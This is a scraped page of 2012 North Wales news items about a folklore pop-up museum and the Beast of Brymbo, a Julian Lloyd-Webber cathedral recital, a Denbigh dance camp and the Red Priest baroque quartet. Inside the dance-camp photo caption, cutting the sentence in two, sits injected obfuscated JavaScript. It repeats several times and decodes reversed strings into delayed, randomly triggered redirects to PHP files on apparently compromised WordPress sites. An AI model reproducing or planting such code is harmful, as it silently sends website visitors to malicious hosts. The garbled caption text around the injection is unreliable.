Category: News

Dark Beast of Brymbo rises again

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The fearsome Beast of Brymbo will rise again.

The massive ghostly black dog will provide a menacing presence at the Smallest Folklore Museum in Wales.

The pop up museum will be opening for three days at the Eagles Meadow shopping centre in Wrexham from Friday, August 17.

Youngsters will hear the spine-tingling story how the beast, last seen in the 1970s, still menacingly haunts the lonely lanes of the nearby village of Brymbo in the dead of night.

Storyteller Richard Berry will be weaving this and other enchanting tales of myth and legend from across this region at the unique museum.

Based in Cardiff, 65-year-old Richard trained as an actor and spent many years working in young people’s theatre companies.

In the 1990s, he developed the storytelling side of his career and has since spun his fascinating yarns at venues across Wales and in Europe, where he has told tales in Croatia and the Austrian capital city of Vienna.

During his sessions at Eagles Meadow, when he will be based in his own tent, he will take on the role of the museum’s grumpy caretaker who encourages people to tell their own tales and then tries to top them with his own stories.

One of those Richard hopes will spell-bind his Wrexham audience is the saga of The Gwyllgi, one of the Black Dogs of Welsh folklore.

It was famously spotted roaming the Brymbo area in the early 1970s and subsequently became dubbed as the “Beast of Brymbo”.

The account of the local man who saw the chilling apparition as it walked along a lane leading into the Wrexham village echoes traditional descriptions of a creature often mentioned in Welsh folklore.

The phantom canine is usually described as being black in colour, with a shaggy pelt and closely resembling a dog of the mastiff breed but much larger, about the size of a calf.

The spook spotted in Brymbo has many of these characteristics, although it is said to have had a leaner outline, more like a lurcher.

The story of the Beast of Brymbo was uncovered by folklore expert Richard Holland in 1988 when he interviewed eye-witnesses who had encountered the scary creature.

Ex-journalist Richard, the editor of the Uncanny UK website and the author of five books on ghosts and folklore, is delighted the beast is being given another outing at the folklore museum.

Richard, from Gwernaffield near Mold, said: “It took me many years to finally track down the sightings of this bizarre apparition and I’m glad the story is proving of so much interest.

“I’m grateful to the witnesses for their kindess and courage in agreeing to tell me all about it in the first place.”

In Welsh folklore these dogs are known as Gwyllgi,  the best translation of which would be “Dog of the Twilight” – apt because that is the time when they are usually seen.

These commonly reported yet inexplicable spectres have their counterparts in England, where they go by a variety of regional names, including Padfoot, Skriker, Trash and Black Shuck.

In literature, they are usually simply referred to as Black Dogs.

There are other variants throughout Wales. In the Afan and Margam district of South Wales, for example, they were described as being blood red in colour.

The most grotesque is that which haunted a green lane near Llysworney in Glamorgan, which was described as having the hind-quarters of a spotted dog but the head of a man.

Storyteller Richard Berry said: “During my museum sessions at Eagles Meadow I will be telling the tale of the sighting of the Gwyllgi in Brymbo.

“It is a gripping story and I can’t wait to get there to tell it.

“The telling of stories is a very natural activity and I love to be involved in it.

“My stories can be short or long – anything from a few minutes to a couple of hours – but my aim with all of them is to enchant my audience, and that is exactly what I hope to do at Eagles Meadow.”

The museum has been organised by the Bakehouse Factory, a theatre company which specialises in cooking up spectacular interactive experiences.

Creative Director Hannah McGavin can’t waite to bring the Beast of Brymbo back to life.

She said: “We’re going to be having lots of pictures, things to look at, models that move and buttons to press and poems that you can listen to that really bring stories of Welsh folklore to life in a really interesting and tactile way.

“We will be mining a rich seam of storytelling from the medieaval mythological tales of the Mabinogion as well as more recent tales from Welsh folklore.

“The Black Dog, or Gwyllgi, will also feature in the Museum itself for all those who dare to look for him.

“We will have the story written within the museum, and a viewing box which, when the viewer presses the button, lights up to reveal a big scary face of a growling hound.”

“The musuem is going to be the smallest in Wales but in my book small is beautiful, it is going to be small but perfectly formed.

“Everybody will be greeted by the receptionist who is very friendly, very funny, and is going to give everyone a kind of pamphlet from the museum to be able to walk around with.

“It’s going to be a museum cabinet of curiosities with lots of shelves and pictures – there’s even going to be a secret door leading to our story telling Yurt that’s going to be filled with warm sheep skins.

“We’ll also have a forgetful Curator who has lost some of the exhibits, and as you can imagine they are in a big flap so they’re going to need lots of help from the children to be able to find all of them.

“The exhibits are going to be lost somewhere around the shopping centre because the Curator will have been doing a bit of shopping before he came to open up the place.

“One thing is for sure, it’s going to be a lot of fun. I just can’t wait.”

For more information about the activities at the Smallest Folklore Museum in Wales go to www.eagles-meadow.co.uk/events and for more information about the Beast of Brymbo and other scary tales go to/www.uncannyuk.com

Thursday August 16th, 2012

News

St Asaph will be just perfect

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One of the world’s most celebrated cellists will be on a  quest for perfection when he returns to a top music festival.

Virtuoso Julian Lloyd-Webber will be aiming for a flawless performance when he plays at the North Wales International Music Festival at St Asaph Cathedral.

He will open the week-long festival on Saturday, September 22, by performing several pieces by  the British composers, John Ireland and Frederick Delius.

Lloyd-Webber, 61, is looking forward to helping the festival celebrate its 40th anniversary – not least because of the cathedral’s excellent acoustic qualities.

This year’s festival will also feature the world premiere of a new work by the internationally acclaimed composer Karl Jenkins.

The work was commissioned by the festival to celebrate their anniversary and the granting of city status to St Asaph by the Queen to mark her Diamond Jubilee year. It will be played by royal harpist Hannah Stone.

Lloyd-Webber said: “I have played in St Asaph Cathedral before, possibly around five years ago, it’s a wonderful setting with very nice acoustics. I performed alongside harpist Catrin Finch.

“I always enjoy playing in Wales. The Welsh, as a nation, have such an incredible affinity with music in general. One only has to look at the wonderful male voice choirs that are so popular, and rightly so, in Wales.

“I have always found North Wales audiences to be very appreciative and very knowledgeable too. I think audiences know what they want and are quick to show their approval.”

And Lloyd-Webber says he is more than happy to see classical music’s popularity seemingly on the increase.

He said: “We are currently living in tough economic times so perhaps you’d expect audience numbers to fall away. However, that’s not what we are seeing at all.

“People seem to be coming out to listen to, and enjoy, live performances. It is true though that classical music is now being enjoyed by a younger audience who seem to appreciate the music and how it is performed.”

Lloyd -Webber has been described as the ‘doyen of British cellists’ but as a youngster his first instrument was in fact the piano.

He said: “My parents were both very musical and in fact my mother was a piano teacher. She sat me down and tried to teach me but I have to say I was hopeless and hated it. I just didn’t enjoy it at all.

“I went to a concert with my parents and spotted the cello and thought that’s it, that is what I want to learn. Right away it felt natural and I was immediately at home with the instrument.

“I’m so glad I made that choice as it has given me an extraordinary career and you know, I enjoy playing and performing now more than ever. Now there is no real pressure, no need to prove myself anymore.”

He added: “Having said that, every concert, every performance is something new, a new experience and anything can happen. The problem is as a performer you are always looking for perfection. And of course you can never achieve it, not really, there is always something you could have done better or interpreted in a different way.

“I suppose that is what keeps driving me on, that impossible quest for perfection. However, I suppose that is also, in a way, the beauty of live performance. I’m always more at home in front of an audience than I am in a recording studio.”

And Lloyd-Webber, who, in 2001, was granted the first every London Underground busker’s license, says he prefers to play from memory whenever he can.

He said: “I always think of a music stand as a barrier between myself, or at least my cello, and the audience. I want them to see as well as hear the music and you can’t do that with a great big stand in the way.

“Of course, there are occasions when I have to use a music stand but I prefer not to when I can.

“I am not a composer but a cellist, yes, I have written a few short pieces but I have always preferred playing. So I learn the work and prefer to play from memory.”

And the North Wales International Music Festival will allow Lloyd-Webber to celebrate two of his favourite composers, John Ireland and Frederick Delius.

He said: “I will be playing some pieces by other composers during the evening. However, both Ireland and Delius are among my favourite composers, particularly when it comes to British composers.

“And in a way it’s a celebration of two important anniversaries. Firstly, it is 50 years since John Ireland’s death in 1962 and it’s also 150 years since Frederick Delius’ birth, in Bradford, in 1862.

“I think that gives me a good enough reason to celebrate their wonderful work. I will be performing Ireland’s Cello Sonata in G Minor and Delius’ Caprice and Elegy, Romance and Cello Sonata.”

And Lloyd-Webber will also be listening out for the football scores before taking  to the St Asaph stage hoping his other great passion – Leyton Orient Football Club, have managed a win.

He said: “I know it’s sad but somehow a football club can get into your soul. I was taken to a match at the O’s when I was about 11. I think it was in 1962, the year Orient enjoyed their one and only season in the top flight.

“They were beaten heavily week in and week out and I suppose I felt a bit sorry for them. The problem is it turned into a life-long passion.

“I do go to as many games as I can but sadly Saturday’s is more often than not a concert day. And as much as I enjoy watching the Orient, music will always comes first.”

Julian Lloyd Webber will perform at St Asaph Cathedral on Saturday, September 22 at 7.30pm. Tickets range in price from £28 to £10. To book call the Box Office on 0800 411 8881 or visit www.nwimf.com/whats_on/programme2012.html

Friday August 10th, 2012

News

Dancers to follow Bieber’s footsteps

HOWELLS SCHOOL DENBIGH. Pictured is Josh Ricketts from the Sunshine Dance Academy who is going $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}to make the most of the school's new dance studio by running a course in August.

Scores of dance-mad youngsters will get off on the right foot thanks to top US choreographers who have worked with the likes of Justin Bieber, Britney Spears and Janet Jackson.

The new dance studio at Howell’s School, in Denbigh, will provide the perfect setting for the week-long camp from August 25 – September 1.

To make sure the young participants receive the best tuition available, the organisers have invited world-class choreographers from the United States.

They include Ian Eastwood and Brian Puspos, who have worked together with  Justin Bieber, Janet Jackson and Usher.

The duo will be joined by Tony Czar, who has danced with Britney Spears and P Diddy, and a dance master known simply as Jian.

The name of a fifth US choreographer is being kept secret until the Howell’s School dance camp gets under way.

An added attraction for the young dancers is that Howell’s is a dead ringer for Harry Potter’s Hogwarts – and was short-listed for a starring role in the blockbuster films ab out the adventures of the popular wizard.

The camp, which will provide an intense programme of instruction in dance styles such as Street and Hip-Hop for boys and girls aged 13 upwards from all over Britain.

It is part of a series of summer workshops being organised by experts from Sunshine Dance Studios in Bolton and its partner agency Soar UK.

Josh Ricketts, managing director of Sunshine Dance Studios, in Bolton, said: “We wanted the camp we are running in North Wales to be residential so we could get all the young people together for the whole week without them having to go home at the end of each day.

“That is why we chose Howell’s School, which has some excellent pupil accommodation and a secure site.

“It also has the benefit of a really top-class dance studio, which has mirrored walls – so important for dancers to be able to see how they are performing – and a bamboo floor.

“We are all really excited about the whole thing because our guest choreographers have worked with some of the biggest names in show business, either as dance teachers or performers.

“Ian Eastwood and Brian Puspos were part of the team which took one of the top spots in the latest series of the US reality TV show America’s Best Dance Crew.”

Brian Puspos said how much he was looking forward to the camp: “This is the first time a dance conference of this size has been done in the UK and the standard of dancers there will be incredible.

“The site is amazing and has everything needed.”

Fellow dancer and friend, Ian Eastwood, said:  “I am hyped about this – the venue, standard, choreographers, are all world class and this is set out to be an incredible week.

“I can’t wait to get to know the people on campus – if you are a dancer and you aren’t booked in then ask yourself why not?!”

Nicola Locke, Trustee of Howell’s School, said: “It is very exciting to be welcoming such dance talent to use our new studio and it is the standard of the studio we now have at the school which has allowed this to happen.

“Howell’s School prides itself on offering a range of first class facilities to our students but it is equally gratifying to open these up and see them well used by other young people from around the UK. I am sure the residential dance camp will be a wonderful experience for them.”

Sam Cass, operations director for Soar UK, said: “The camp is attracting young people from right across the UK, Ireland and Europe.

“We have gone for a week-long residential event so they will have plenty of time to chill out with each other and get to know their teachers properly.

“We will be teaching mainly Street and Hip-Hop, which are the really hot dance styles at the moment after being featured in TV shows like Got to Dance and Britain’s Got Talent.”

Sam added: “With the camp at Howell’s School we set out to create an event which would bring together young people of all ages from a wide area of Britain and also Europe and that is exactly what we have done.

“We believe that dance is so important in helping young people to develop and to give them something constructive and creative to get involved in.

“Our aim was to keep the camp as affordable as possible, so the fee is from just £360, which includes four dance classes a day plus all accommodation and food.”

For those wishing to sign up for the dance camp at Howell’s School, there is a registration form on the website www.soaruk.co.uk.

Thursday August 2nd, 2012

News

Red hot quartet head for festival

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Classical music is not meant to be about flamboyance and theatre nor is it usually visually exciting – but don’t tell that to Red Priest.

Expect the unexpected from the Baroque quartet when the four irreverent but talented musicians perform at the North Wales International Music Festival, at St Asaph Cathedral, from September 22 to September 29.

Comprising recorder player Piers Adams, his wife, baroque violin specialist, Julia Bishop, cellist Angela East and harpsichordist David Wright, Red Priest pack their performances with energy, theatre and visually stunning effects.

According to Piers Adams, the fact their high-energy theatrical style is contrary to everything classical purists believe in is something really worth celebrating.

He said: “Musically we are four misfits to be quite frank. But what we try and do is inject a whole lot of fun into our performances and make them exciting.

“After all Baroque music started out in around 1600 and went on until 1750 or so. It was new, exciting and would have been performed flamboyantly.

“We try and reflect that while others may try and be academically accurate in how they perform, we play from memory and don’t use sheet music. For us it’s more about energy and taking the music to a whole new level.”

Red Priest, named after red-haired Italian priest and composer Antonio Vivaldi, have built up a large world-wide fan-base since forming in 1997.

Piers said: “We are kept pretty busy to be honest and before the North Wales International Music Festival we are across in the United States, this time in and around Boston, Massachusetts. Then it’s back to the UK for a couple of festivals and then off to Germany, Austria, Croatia and the Czech Republic.

“We do have a really good following and tour the US a great deal as well as the Far East, Europe and Australia. It’s amazing really, places like Germany, where you’d think they would be very stiff and traditional, seem to love the freedom we bring to baroque music and performances.”

Piers believes the mix of instruments they use in their music makes for a perfect sound.

He added: “There were certainly pieces written for just the instruments we play. Actually it’s not too dissimilar to a rock band. The recorder is like the lead singer, the violin like the lead or rhythm guitar, the cellist is the bass guitar player and the harpsichord provides the percussion.

“As a line up we really work well together and get along brilliantly, although you wouldn’t think so in rehearsals, which can get a bit heated and fraught to say the least!

He added: “I think a lot of the purists thought we’d be a flash in the pan and would quickly, if not quietly, disappear. The fact we are still going strong, in fact becoming increasingly popular, means they have had to change their view. I think we have gained more respect the longer we have gone on.

“We have always just wanted to present this fantastic music in a way which will appeal to a wide audience, not just early music aficionados.

“That’s why the image of the group, its marketing and staging are up-to-date and modern – sometimes we almost take a rock-band approach to our presentation, especially in terms of the raw energy we like to put into every performance.”

Piers says the group are really looking forward to their return visit to the North Wales International Music Festival.

He said: “It’s great to be invited back, it’s a real honour to be honest. The acoustics are great and we are looking forward to a really good show.

“It’s wonderful music and we want to thrill our audience. Can’t wait to see you there!”

As part of the festival, Piers Adams will be staging a Recorder Roadshow and is inviting local schools and musical adults to take part in a workshop. Participants will have the opportunity of performing with Piers at the Aspire and Inspire  Youth Concert in the City, on  Thursday, September 27, at St.Asaph Cathedral  at 7.30pm.  Anybody who’s interested should contact the festival office.

This year’s festival will also feature the world premiere of a new work by the internationally acclaimed composer Karl Jenkins.

The work was commissioned by the festival to celebrate their 40th anniversary and the granting of city status to St Asaph by the Queen to mark her Diamond Jubilee year. It will be played by royal harpist Hannah Stone.

Red Priest will appear at St Asaph Cathedral on Friday, September 28, at 7.30pm.To book tickets for the North Wales International Music Festival, from September
22-29,   contact the Brown Paper Tickets Box Office Number on 0800 411 8881. For more information go to  www.nwimf.comor ring the Festival office on 01745 584508

Thursday August 2nd, 2012

News